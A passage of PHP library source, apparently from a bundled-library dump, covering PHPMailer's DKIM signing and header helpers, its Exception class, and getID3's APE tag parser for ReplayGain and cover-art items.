     * Usage Example:
     * `$mail->set('SMTPSecure', static::ENCRYPTION_STARTTLS);`
     *   is the same as:
     * `$mail->SMTPSecure = static::ENCRYPTION_STARTTLS;`.
     *
     * @param string $name  The property name to set
     * @param mixed  $value The value to set the property to
     *
     * @return bool
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->{$name} = $value;

            return true;
        }
        $this->setError($this->lang('variable_set') . $name);

        return false;
    }

    /**
     * Strip newlines to prevent header injection.
     *
     * @param string $str
     *
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(["\r", "\n"], '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     *
     * @param string $text
     * @param string $breaktype What kind of line break to use; defaults to static::$LE
     *
     * @return string
     */
    public static function normalizeBreaks($text, $breaktype = null)
    {
        if (null === $breaktype) {
            $breaktype = static::$LE;
        }
        //Normalise to \n
        $text = str_replace([self::CRLF, "\r"], "\n", $text);
        //Now convert LE as needed
        if ("\n" !== $breaktype) {
            $text = str_replace("\n", $breaktype, $text);
        }

        return $text;
    }

    /**
     * Remove trailing whitespace from a string.
     *
     * @param string $text
     *
     * @return string The text to remove whitespace from
     */
    public static function stripTrailingWSP($text)
    {
        return rtrim($text, " \r\n\t");
    }

    /**
     * Strip trailing line breaks from a string.
     *
     * @param string $text
     *
     * @return string The text to remove breaks from
     */
    public static function stripTrailingBreaks($text)
    {
        return rtrim($text, "\r\n");
    }

    /**
     * Return the current line break format string.
     *
     * @return string
     */
    public static function getLE()
    {
        return static::$LE;
    }

    /**
     * Set the line break format string, e.g. "\r\n".
     *
     * @param string $le
     */
    protected static function setLE($le)
    {
        static::$LE = $le;
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     *
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass            Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     *
     * @param string $txt
     *
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        $len = strlen($txt);
        for ($i = 0; $i < $len; ++$i) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord === 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }

        return $line;
    }

    /**
     * Generate a DKIM signature.
     *
     * @param string $signHeader
     *
     * @throws Exception
     *
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new Exception($this->lang('extension_missing') . 'openssl');
            }

            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ?
            $this->DKIM_private_string :
            file_get_contents($this->DKIM_private);
        if ('' !== $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
            if (\PHP_MAJOR_VERSION < 8) {
                openssl_pkey_free($privKey);
            }

            return base64_encode($signature);
        }
        if (\PHP_MAJOR_VERSION < 8) {
            openssl_pkey_free($privKey);
        }

        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * Uses the 'relaxed' algorithm from RFC6376 section 3.4.2.
     * Canonicalized headers should *always* use CRLF, regardless of mailer setting.
     *
     * @see https://tools.ietf.org/html/rfc6376#section-3.4.2
     *
     * @param string $signHeader Header
     *
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        //Normalize breaks to CRLF (regardless of the mailer)
        $signHeader = static::normalizeBreaks($signHeader, self::CRLF);
        //Unfold header lines
        //Note PCRE \s is too broad a definition of whitespace; RFC5322 defines it as `[ \t]`
        //@see https://tools.ietf.org/html/rfc5322#section-2.2
        //That means this may break if you do something daft like put vertical tabs in your headers.
        $signHeader = preg_replace('/\r\n[ \t]+/', ' ', $signHeader);
        //Break headers out into an array
        $lines = explode(self::CRLF, $signHeader);
        foreach ($lines as $key => $line) {
            //If the header is missing a :, skip it as it's invalid
            //This is likely to happen because the explode() above will also split
            //on the trailing LE, leaving an empty line
            if (strpos($line, ':') === false) {
                continue;
            }
            list($heading, $value) = explode(':', $line, 2);
            //Lower-case header name
            $heading = strtolower($heading);
            //Collapse white space within the value, also convert WSP to space
            $value = preg_replace('/[ \t]+/', ' ', $value);
            //RFC6376 is slightly unclear here - it says to delete space at the *end* of each value
            //But then says to delete space before and after the colon.
            //Net result is the same as trimming both ends of the value.
            //By elimination, the same applies to the field name
            $lines[$key] = trim($heading, " \t") . ':' . trim($value, " \t");
        }

        return implode(self::CRLF, $lines);
    }

    /**
     * Generate a DKIM canonicalization body.
     * Uses the 'simple' algorithm from RFC6376 section 3.4.3.
     * Canonicalized bodies should *always* use CRLF, regardless of mailer setting.
     *
     * @see https://tools.ietf.org/html/rfc6376#section-3.4.3
     *
     * @param string $body Message Body
     *
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if (empty($body)) {
            return self::CRLF;
        }
        //Normalize line endings to CRLF
        $body = static::normalizeBreaks($body, self::CRLF);

        //Reduce multiple trailing line breaks to a single one
        return static::stripTrailingBreaks($body) . self::CRLF;
    }

    /**
     * Create the DKIM header and body in a new message header.
     *
     * @param string $headers_line Header lines
     * @param string $subject      Subject
     * @param string $body         Body
     *
     * @throws Exception
     *
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; //Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; //Canonicalization methods of header & body
        $DKIMquery = 'dns/txt'; //Query method
        $DKIMtime = time();
        //Always sign these headers without being asked
        //Recommended list from https://tools.ietf.org/html/rfc6376#section-5.4.1
        $autoSignHeaders = [
            'from',
            'to',
            'cc',
            'date',
            'subject',
            'reply-to',
            'message-id',
            'content-type',
            'mime-version',
            'x-mailer',
        ];
        if (stripos($headers_line, 'Subject') === false) {
            $headers_line .= 'Subject: ' . $subject . static::$LE;
        }
        $headerLines = explode(static::$LE, $headers_line);
        $currentHeaderLabel = '';
        $currentHeaderValue = '';
        $parsedHeaders = [];
        $headerLineIndex = 0;
        $headerLineCount = count($headerLines);
        foreach ($headerLines as $headerLine) {
            $matches = [];
            if (preg_match('/^([^ \t]*?)(?::[ \t]*)(.*)$/', $headerLine, $matches)) {
                if ($currentHeaderLabel !== '') {
                    //We were previously in another header; This is the start of a new header, so save the previous one
                    $parsedHeaders[] = ['label' => $currentHeaderLabel, 'value' => $currentHeaderValue];
                }
                $currentHeaderLabel = $matches[1];
                $currentHeaderValue = $matches[2];
            } elseif (preg_match('/^[ \t]+(.*)$/', $headerLine, $matches)) {
                //This is a folded continuation of the current header, so unfold it
                $currentHeaderValue .= ' ' . $matches[1];
            }
            ++$headerLineIndex;
            if ($headerLineIndex >= $headerLineCount) {
                //This was the last line, so finish off this header
                $parsedHeaders[] = ['label' => $currentHeaderLabel, 'value' => $currentHeaderValue];
            }
        }
        $copiedHeaders = [];
        $headersToSignKeys = [];
        $headersToSign = [];
        foreach ($parsedHeaders as $header) {
            //Is this header one that must be included in the DKIM signature?
            if (in_array(strtolower($header['label']), $autoSignHeaders, true)) {
                $headersToSignKeys[] = $header['label'];
                $headersToSign[] = $header['label'] . ': ' . $header['value'];
                if ($this->DKIM_copyHeaderFields) {
                    $copiedHeaders[] = $header['label'] . ':' . //Note no space after this, as per RFC
                        str_replace('|', '=7C', $this->DKIM_QP($header['value']));
                }
                continue;
            }
            //Is this an extra custom header we've been asked to sign?
            if (in_array($header['label'], $this->DKIM_extraHeaders, true)) {
                //Find its value in custom headers
                foreach ($this->CustomHeader as $customHeader) {
                    if ($customHeader[0] === $header['label']) {
                        $headersToSignKeys[] = $header['label'];
                        $headersToSign[] = $header['label'] . ': ' . $header['value'];
                        if ($this->DKIM_copyHeaderFields) {
                            $copiedHeaders[] = $header['label'] . ':' . //Note no space after this, as per RFC
                                str_replace('|', '=7C', $this->DKIM_QP($header['value']));
                        }
                        //Skip straight to the next header
                        continue 2;
                    }
                }
            }
        }
        $copiedHeaderFields = '';
        if ($this->DKIM_copyHeaderFields && count($copiedHeaders) > 0) {
            //Assemble a DKIM 'z' tag
            $copiedHeaderFields = ' z=';
            $first = true;
            foreach ($copiedHeaders as $copiedHeader) {
                if (!$first) {
                    $copiedHeaderFields .= static::$LE . ' |';
                }
                //Fold long values
                if (strlen($copiedHeader) > self::STD_LINE_LENGTH - 3) {
                    $copiedHeaderFields .= substr(
                        chunk_split($copiedHeader, self::STD_LINE_LENGTH - 3, static::$LE . self::FWS),
                        0,
                        -strlen(static::$LE . self::FWS)
                    );
                } else {
                    $copiedHeaderFields .= $copiedHeader;
                }
                $first = false;
            }
            $copiedHeaderFields .= ';' . static::$LE;
        }
        $headerKeys = ' h=' . implode(':', $headersToSignKeys) . ';' . static::$LE;
        $headerValues = implode(static::$LE, $headersToSign);
        $body = $this->DKIM_BodyC($body);
        //Base64 of packed binary SHA-256 hash of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body)));
        $ident = '';
        if ('' !== $this->DKIM_identity) {
            $ident = ' i=' . $this->DKIM_identity . ';' . static::$LE;
        }
        //The DKIM-Signature header is included in the signature *except for* the value of the `b` tag
        //which is appended after calculating the signature
        //https://tools.ietf.org/html/rfc6376#section-3.5
        $dkimSignatureHeader = 'DKIM-Signature: v=1;' .
            ' d=' . $this->DKIM_domain . ';' .
            ' s=' . $this->DKIM_selector . ';' . static::$LE .
            ' a=' . $DKIMsignatureType . ';' .
            ' q=' . $DKIMquery . ';' .
            ' t=' . $DKIMtime . ';' .
            ' c=' . $DKIMcanonicalization . ';' . static::$LE .
            $headerKeys .
            $ident .
            $copiedHeaderFields .
            ' bh=' . $DKIMb64 . ';' . static::$LE .
            ' b=';
        //Canonicalize the set of headers
        $canonicalizedHeaders = $this->DKIM_HeaderC(
            $headerValues . static::$LE . $dkimSignatureHeader
        );
        $signature = $this->DKIM_Sign($canonicalizedHeaders);
        $signature = trim(chunk_split($signature, self::STD_LINE_LENGTH - 3, static::$LE . self::FWS));

        return static::normalizeBreaks($dkimSignatureHeader . $signature);
    }

    /**
     * Detect if a string contains a line longer than the maximum line length
     * allowed by RFC 2822 section 2.1.1.
     *
     * @param string $str
     *
     * @return bool
     */
    public static function hasLineLongerThanMax($str)
    {
        return (bool) preg_match('/^(.{' . (self::MAX_LINE_LENGTH + strlen(static::$LE)) . ',})/m', $str);
    }

    /**
     * If a string contains any "special" characters, double-quote the name,
     * and escape any double quotes with a backslash.
     *
     * @param string $str
     *
     * @return string
     *
     * @see RFC822 3.4.1
     */
    public static function quotedString($str)
    {
        if (preg_match('/[ ()<>@,;:"\/\[\]?=]/', $str)) {
            //If the string contains any of these chars, it must be double-quoted
            //and any double quotes must be escaped with a backslash
            return '"' . str_replace('"', '\\"', $str) . '"';
        }

        //Return the string untouched, it doesn't need quoting
        return $str;
    }

    /**
     * Allows for public read access to 'to' property.
     * Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     *
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     *
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     *
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     *
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     *
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     *
     * @param bool   $isSent
     * @param array  $to
     * @param array  $cc
     * @param array  $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     * @param array  $extra
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from, $extra)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            call_user_func($this->action_function, $isSent, $to, $cc, $bcc, $subject, $body, $from, $extra);
        }
    }

    /**
     * Get the OAuthTokenProvider instance.
     *
     * @return OAuthTokenProvider
     */
    public function getOAuth()
    {
        return $this->oauth;
    }

    /**
     * Set an OAuthTokenProvider instance.
     */
    public function setOAuth(OAuthTokenProvider $oauth)
    {
        $this->oauth = $oauth;
    }
}
<?php

/**
 * PHPMailer Exception class.
 * PHP Version 5.5.
 *
 * @see       https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
 *
 * @author    Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
 * @author    Jim Jagielski (jimjag) <jimjag@gmail.com>
 * @author    Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
 * @author    Brent R. Matzelle (original founder)
 * @copyright 2012 - 2020 Marcus Bointon
 * @copyright 2010 - 2012 Jim Jagielski
 * @copyright 2004 - 2009 Andy Prevost
 * @license   http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 * @note      This program is distributed in the hope that it will be useful - WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.
 */

namespace PHPMailer\PHPMailer;

/**
 * PHPMailer exception handler.
 *
 * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
 */
class Exception extends \Exception
{
    /**
     * Prettify error message output.
     *
     * @return string
     */
    public function errorMessage()
    {
        return '<strong>' . htmlspecialchars($this->getMessage(), ENT_COMPAT | ENT_HTML401) . "</strong><br />\n";
    }
}
<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.tag.apetag.php                                       //
// module for analyzing APE tags                               //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}

class getid3_apetag extends getid3_handler
{
	/**
	 * true: return full data for all attachments;
	 * false: return no data for all attachments;
	 * integer: return data for attachments <= than this;
	 * string: save as file to this directory.
	 *
	 * @var int|bool|string
	 */
	public $inline_attachments = true;

	public $overrideendoffset  = 0;

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		if (!getid3_lib::intValueSupported($info['filesize'])) {
			$this->warning('Unable to check for APEtags because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB');
			return false;
		}

		$id3v1tagsize     = 128;
		$apetagheadersize = 32;
		$lyrics3tagsize   = 10;

		if ($this->overrideendoffset == 0) {

			$this->fseek(0 - $id3v1tagsize - $apetagheadersize - $lyrics3tagsize, SEEK_END);
			$APEfooterID3v1 = $this->fread($id3v1tagsize + $apetagheadersize + $lyrics3tagsize);

			//if (preg_match('/APETAGEX.{24}TAG.{125}$/i', $APEfooterID3v1)) {
			if (substr($APEfooterID3v1, strlen($APEfooterID3v1) - $id3v1tagsize - $apetagheadersize, 8) == 'APETAGEX') {

				// APE tag found before ID3v1
				$info['ape']['tag_offset_end'] = $info['filesize'] - $id3v1tagsize;

			//} elseif (preg_match('/APETAGEX.{24}$/i', $APEfooterID3v1)) {
			} elseif (substr($APEfooterID3v1, strlen($APEfooterID3v1) - $apetagheadersize, 8) == 'APETAGEX') {

				// APE tag found, no ID3v1
				$info['ape']['tag_offset_end'] = $info['filesize'];

			}

		} else {

			$this->fseek($this->overrideendoffset - $apetagheadersize);
			if ($this->fread(8) == 'APETAGEX') {
				$info['ape']['tag_offset_end'] = $this->overrideendoffset;
			}

		}
		if (!isset($info['ape']['tag_offset_end'])) {

			// APE tag not found
			unset($info['ape']);
			return false;

		}

		// shortcut
		$thisfile_ape = &$info['ape'];

		$this->fseek($thisfile_ape['tag_offset_end'] - $apetagheadersize);
		$APEfooterData = $this->fread(32);
		if (!($thisfile_ape['footer'] = $this->parseAPEheaderFooter($APEfooterData))) {
			$this->error('Error parsing APE footer at offset '.$thisfile_ape['tag_offset_end']);
			return false;
		}

		if (isset($thisfile_ape['footer']['flags']['header']) && $thisfile_ape['footer']['flags']['header']) {
			$this->fseek($thisfile_ape['tag_offset_end'] - $thisfile_ape['footer']['raw']['tagsize'] - $apetagheadersize);
			$thisfile_ape['tag_offset_start'] = $this->ftell();
			$APEtagData = $this->fread($thisfile_ape['footer']['raw']['tagsize'] + $apetagheadersize);
		} else {
			$thisfile_ape['tag_offset_start'] = $thisfile_ape['tag_offset_end'] - $thisfile_ape['footer']['raw']['tagsize'];
			$this->fseek($thisfile_ape['tag_offset_start']);
			$APEtagData = $this->fread($thisfile_ape['footer']['raw']['tagsize']);
		}
		$info['avdataend'] = $thisfile_ape['tag_offset_start'];

		if (isset($info['id3v1']['tag_offset_start']) && ($info['id3v1']['tag_offset_start'] < $thisfile_ape['tag_offset_end'])) {
			$this->warning('ID3v1 tag information ignored since it appears to be a false synch in APEtag data');
			unset($info['id3v1']);
			foreach ($info['warning'] as $key => $value) {
				if ($value == 'Some ID3v1 fields do not use NULL characters for padding') {
					unset($info['warning'][$key]);
					sort($info['warning']);
					break;
				}
			}
		}

		$offset = 0;
		if (isset($thisfile_ape['footer']['flags']['header']) && $thisfile_ape['footer']['flags']['header']) {
			if ($thisfile_ape['header'] = $this->parseAPEheaderFooter(substr($APEtagData, 0, $apetagheadersize))) {
				$offset += $apetagheadersize;
			} else {
				$this->error('Error parsing APE header at offset '.$thisfile_ape['tag_offset_start']);
				return false;
			}
		}

		// shortcut
		$info['replay_gain'] = array();
		$thisfile_replaygain = &$info['replay_gain'];

		for ($i = 0; $i < $thisfile_ape['footer']['raw']['tag_items']; $i++) {
			$value_size = getid3_lib::LittleEndian2Int(substr($APEtagData, $offset, 4));
			$offset += 4;
			$item_flags = getid3_lib::LittleEndian2Int(substr($APEtagData, $offset, 4));
			$offset += 4;
			if (strstr(substr($APEtagData, $offset), "\x00") === false) {
				$this->error('Cannot find null-byte (0x00) separator between ItemKey #'.$i.' and value. ItemKey starts '.$offset.' bytes into the APE tag, at file offset '.($thisfile_ape['tag_offset_start'] + $offset));
				return false;
			}
			$ItemKeyLength = strpos($APEtagData, "\x00", $offset) - $offset;
			$item_key      = strtolower(substr($APEtagData, $offset, $ItemKeyLength));

			// shortcut
			$thisfile_ape['items'][$item_key] = array();
			$thisfile_ape_items_current = &$thisfile_ape['items'][$item_key];

			$thisfile_ape_items_current['offset'] = $thisfile_ape['tag_offset_start'] + $offset;

			$offset += ($ItemKeyLength + 1); // skip 0x00 terminator
			$thisfile_ape_items_current['data'] = substr($APEtagData, $offset, $value_size);
			$offset += $value_size;

			$thisfile_ape_items_current['flags'] = $this->parseAPEtagFlags($item_flags);
			switch ($thisfile_ape_items_current['flags']['item_contents_raw']) {
				case 0: // UTF-8
				case 2: // Locator (URL, filename, etc), UTF-8 encoded
					$thisfile_ape_items_current['data'] = explode("\x00", $thisfile_ape_items_current['data']);
					break;

				case 1:  // binary data
				default:
					break;
			}

			switch (strtolower($item_key)) {
				// http://wiki.hydrogenaud.io/index.php?title=ReplayGain#MP3Gain
				case 'replaygain_track_gain':
					if (preg_match('#^([\\-\\+][0-9\\.,]{8})( dB)?$#', $thisfile_ape_items_current['data'][0], $matches)) {
						$thisfile_replaygain['track']['adjustment'] = (float) str_replace(',', '.', $matches[1]); // float casting will see "0,95" as zero!
						$thisfile_replaygain['track']['originator'] = 'unspecified';
					} else {
						$this->warning('MP3gainTrackGain value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'replaygain_track_peak':
					if (preg_match('#^([0-9\\.,]{8})$#', $thisfile_ape_items_current['data'][0], $matches)) {
						$thisfile_replaygain['track']['peak']       = (float) str_replace(',', '.', $matches[1]); // float casting will see "0,95" as zero!
						$thisfile_replaygain['track']['originator'] = 'unspecified';
						if ($thisfile_replaygain['track']['peak'] <= 0) {
							$this->warning('ReplayGain Track peak from APEtag appears invalid: '.$thisfile_replaygain['track']['peak'].' (original value = "'.$thisfile_ape_items_current['data'][0].'")');
						}
					} else {
						$this->warning('MP3gainTrackPeak value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'replaygain_album_gain':
					if (preg_match('#^([\\-\\+][0-9\\.,]{8})( dB)?$#', $thisfile_ape_items_current['data'][0], $matches)) {
						$thisfile_replaygain['album']['adjustment'] = (float) str_replace(',', '.', $matches[1]); // float casting will see "0,95" as zero!
						$thisfile_replaygain['album']['originator'] = 'unspecified';
					} else {
						$this->warning('MP3gainAlbumGain value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'replaygain_album_peak':
					if (preg_match('#^([0-9\\.,]{8})$#', $thisfile_ape_items_current['data'][0], $matches)) {
						$thisfile_replaygain['album']['peak']       = (float) str_replace(',', '.', $matches[1]); // float casting will see "0,95" as zero!
						$thisfile_replaygain['album']['originator'] = 'unspecified';
						if ($thisfile_replaygain['album']['peak'] <= 0) {
							$this->warning('ReplayGain Album peak from APEtag appears invalid: '.$thisfile_replaygain['album']['peak'].' (original value = "'.$thisfile_ape_items_current['data'][0].'")');
						}
					} else {
						$this->warning('MP3gainAlbumPeak value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'mp3gain_undo':
					if (preg_match('#^[\\-\\+][0-9]{3},[\\-\\+][0-9]{3},[NW]$#', $thisfile_ape_items_current['data'][0])) {
						list($mp3gain_undo_left, $mp3gain_undo_right, $mp3gain_undo_wrap) = explode(',', $thisfile_ape_items_current['data'][0]);
						$thisfile_replaygain['mp3gain']['undo_left']  = intval($mp3gain_undo_left);
						$thisfile_replaygain['mp3gain']['undo_right'] = intval($mp3gain_undo_right);
						$thisfile_replaygain['mp3gain']['undo_wrap']  = (($mp3gain_undo_wrap == 'Y') ? true : false);
					} else {
						$this->warning('MP3gainUndo value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'mp3gain_minmax':
					if (preg_match('#^[0-9]{3},[0-9]{3}$#', $thisfile_ape_items_current['data'][0])) {
						list($mp3gain_globalgain_min, $mp3gain_globalgain_max) = explode(',', $thisfile_ape_items_current['data'][0]);
						$thisfile_replaygain['mp3gain']['globalgain_track_min'] = intval($mp3gain_globalgain_min);
						$thisfile_replaygain['mp3gain']['globalgain_track_max'] = intval($mp3gain_globalgain_max);
					} else {
						$this->warning('MP3gainMinMax value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'mp3gain_album_minmax':
					if (preg_match('#^[0-9]{3},[0-9]{3}$#', $thisfile_ape_items_current['data'][0])) {
						list($mp3gain_globalgain_album_min, $mp3gain_globalgain_album_max) = explode(',', $thisfile_ape_items_current['data'][0]);
						$thisfile_replaygain['mp3gain']['globalgain_album_min'] = intval($mp3gain_globalgain_album_min);
						$thisfile_replaygain['mp3gain']['globalgain_album_max'] = intval($mp3gain_globalgain_album_max);
					} else {
						$this->warning('MP3gainAlbumMinMax value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'tracknumber':
					if (is_array($thisfile_ape_items_current['data'])) {
						foreach ($thisfile_ape_items_current['data'] as $comment) {
							$thisfile_ape['comments']['track_number'][] = $comment;
						}
					}
					break;

				case 'cover art (artist)':
				case 'cover art (back)':
				case 'cover art (band logo)':
				case 'cover art (band)':
				case 'cover art (colored fish)':
				case 'cover art (composer)':
				case 'cover art (conductor)':
				case 'cover art (front)':
				case 'cover art (icon)':
				case 'cover art (illustration)':
				case 'cover art (lead)':
				case 'cover art (leaflet)':
				case 'cover art (lyricist)':
				case 'cover art (media)':
				case 'cover art (movie scene)':
				case 'cover art (other icon)':
				case 'cover art (other)':
				case 'cover art (performance)':
				case 'cover art (publisher logo)':
				case 'cover art (recording)':
				case 'cover art (studio)':
					// list of possible cover arts from https://github.com/mono/taglib-sharp/blob/taglib-sharp-2.0.3.2/src/TagLib/Ape/Tag.cs
					if (is_array($thisfile_ape_items_current['data'])) {
						$this->warning('APEtag "'.$item_key.'" should be flagged as Binary data, but was incorrectly flagged as UTF-8');
						$thisfile_ape_items_current['data'] = implode("\x00", $thisfile_ape_items_current['data']);
					}
					list($thisfile_ape_items_current['filename'], $thisfile_ape_items_current['data']) = explode("\x00", $thisfile_ape_items_current['data'], 2);
					$thisfile_ape_items_current['data_offset'] = $thisfile_ape_items_current['offset'] + strlen($thisfile_ape_items_current['filename']."\x00");
					$thisfile_ape_items_current['data_length'] = strlen($thisfile_ape_items_current['data']);

					do {
						$thisfile_ape_items_current['image_mime'] = '';
						$imageinfo = array();
						$imagechunkcheck = getid3_lib::GetDataImageSize($thisfile_ape_items_current['data'], $imageinfo);
						if (($imagechunkcheck === false) || !isset($imagechunkcheck[2])) {
							$this->warning('APEtag "'.$item_key.'" contains invalid image data');
							break;
						}
						$thisfile_ape_items_current['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]);

						if ($this->inline_attachments === false) {
							// skip entirely
							unset($thisfile_ape_items_current['data']);
							break;
						}
						if ($this->inline_attachments === true) {
							// great
						} elseif (is_int($this->inline_attachments)) {
							if ($this->inline_attachments < $thisfile_ape_items_current['data_length']) {
								// too big, skip
								$this->warning('attachment at '.$thisfile_ape_items_current['offset'].' is too large to process inline ('.number_format($thisfile_ape_items_current['data_length']).' bytes)');
								unset($thisfile_ape_items_current['data']);
								break;
							}
						} elseif (is_string($this->inline_attachments)) {
							$this->inline_attachments = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->inline_attachments), DIRECTORY_SEPARATOR);
							if (!is_dir($this->inline_attachments) || !getID3::is_writable($this->inline_attachments)) {
								// cannot write, skip
								$this->warning('attachment at '.$thisfile_ape_items_current['offset'].' cannot be saved to "'.$this->inline_attachments.'" (not writable)');
								unset($thisfile_ape_items_current['data']);
								break;
							}
						}
						// if we get this far, must be OK
						if (is_string($this->inline_attachments)) {
							$destination_filename = $this->inline_attachments.DIRECTORY_SEPARATOR.md5($info['filenamepath']).'_'.$thisfile_ape_items_current['data_offset'];
							if (!file_exists($destination_filename) || getID3::is_writable($destination_filename)) {
								file_put_contents($destination_filename, $thisfile_ape_items_current['data']);
							} else {
								$this->warning('attachment at '.$thisfile_ape_items_current['offset'].' cannot be saved to "'.$destination_filename.'" (not writable)');
							}
							$thisfile_ape_items_current['data_filename'] = $destination_filename;
							unset($thisfile_ape_items_current['data']);
						} else {
							if (!isset($info['ape']['comments']['picture'])) {
								$info['ape']['comments']['picture'] = array();
							}
							$comments_picture_data = array();
							foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) {
								if (isset($thisfile_ape_items_current[$picture_key])) {
									$comments_picture_data[$picture_key] = $thisfile_ape_items_current[$picture_key];
								}
							}
							$info['ape']['comments']['picture'][] = $comments_picture_data;
							unset($comments_picture_data);
						}
					} while (false); // @phpstan-ignore-line
					break;

				default:
					if (is_array($thisfile_ape_items_current['data'])) {
						foreach ($thisfile_ape_items_current['data'] as $comment) {
							$thisfile_ape['comments'][strtolower($item_key)][] = $comment;
						}
					}
					break;
			}

		}
		if (empty($thisfile_replaygain)) {
			unset($info['replay_gain']);
		}
		return true;
	}

	/**
	 * @param string $APEheaderFooterData
	 *
	 * @return array|false
	 */
	public function parseAPEheaderFooter($APEheaderFooterData) {
		// http://www.uni-jena.de/~pfk/mpp/sv8/apeheader.html

		// shortcut
		$headerfooterinfo = array();
		$headerfooterinfo['raw'] = array();
		$headerfooterinfo_raw = &$headerfooterinfo['raw'];

		$headerfooterinfo_raw['footer_tag']   =                  substr($APEheaderFooterData,  0, 8);
		if ($headerfooterinfo_raw['footer_tag'] != 'APETAGEX') {
			return false;
		}
		$headerfooterinfo_raw['version']      = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData,  8, 4));
		$headerfooterinfo_raw['tagsize']      = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData, 12, 4));
		$headerfooterinfo_raw['tag_items']    = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData, 16, 4));
		$headerfooterinfo_raw['global_flags'] = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData, 20, 4));
		$headerfooterinfo_raw['reserved']     =                              substr($APEheaderFooterData, 24, 8);

		$headerfooterinfo['tag_version']         = $headerfooterinfo_raw['version'] / 1000;
		if ($headerfooterinfo['tag_version'] >= 2) {
			$headerfooterinfo['flags'] = $this->parseAPEtagFlags($headerfooterinfo_raw['global_flags']);
		}
		return $headerfooterinfo;
	}

	/**
	 * @param int $rawflagint
	 *
	 * @return array
	 */
	public function parseAPEtagFlags($rawflagint) {
		// "Note: APE Tags 1.0 do not use any of the APE Tag flags.
		// All are set to zero on creation and ignored on reading."
		// http://wiki.hydrogenaud.io/index.php?title=Ape_Tags_Flags
